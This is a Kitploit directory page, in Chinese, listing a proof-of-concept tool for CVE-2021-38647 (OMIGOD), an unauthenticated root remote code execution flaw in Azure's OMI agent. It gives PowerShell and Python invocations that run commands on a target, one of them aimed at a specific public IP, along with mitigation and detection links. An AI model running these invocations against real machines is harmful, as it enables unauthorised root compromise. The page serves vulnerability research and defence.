Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-38647 — CVE-2021-38647 - 用于利用未认证 RCE 的 POC #OMIGOD | Kitploit
工具/GitHubGitHub/alteredsecurity/cve-2021-38647
漏洞分析漏洞利用渗透测试云安全学习与教育远程访问工具
GitHubalteredsecurity/cve-2021-38647

CVE-2021-38647

CVE-2021-38647 - 用于利用未认证 RCE 的 POC #OMIGOD

查看仓库
6823315年前Kitploit 审核通过
分享
网站

CVE-2021-38647

CVE-2021-38647 - 用于在 Azure UNIX/Linux VM 上利用未认证 RCE #OMIGOD 的 POC

详情

在 Microsoft Azure 中,当为 UNIX/Linux VM 使用 Azure 自动化账户、更新管理、日志分析、配置管理等服务时,OMI 应用程序会自动安装。如果使用配置管理服务远程管理机器,OMI 应用程序还会在端口 5986 上暴露服务。

任何能够访问易受攻击端点的网络用户,无需 Authorization 头即可发送请求,利用 SCXcore 提供程序,在目标机器上以 root 权限执行操作系统命令!

此漏洞现已修复,但始终值得对 Azure 中的 Linux VM 进行检查。

用法

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

部署测试环境

在 Azure 上部署的 ARM 模板 - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

无需 Azure 部署 - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

检测与缓解

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

要缓解该漏洞,需要将 OMI 代理更新到 1.6.8.1 或更高版本。

参考链接

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

博客

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

致谢

WIZ 团队 - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

免责声明

本项目仅用于教育目的。 创建者不对任何滥用此工具的行为负责。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    708
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    500
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    398
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    341
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    259
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    257

探索所有工具

浏览我们的工具集合

查看所有工具 →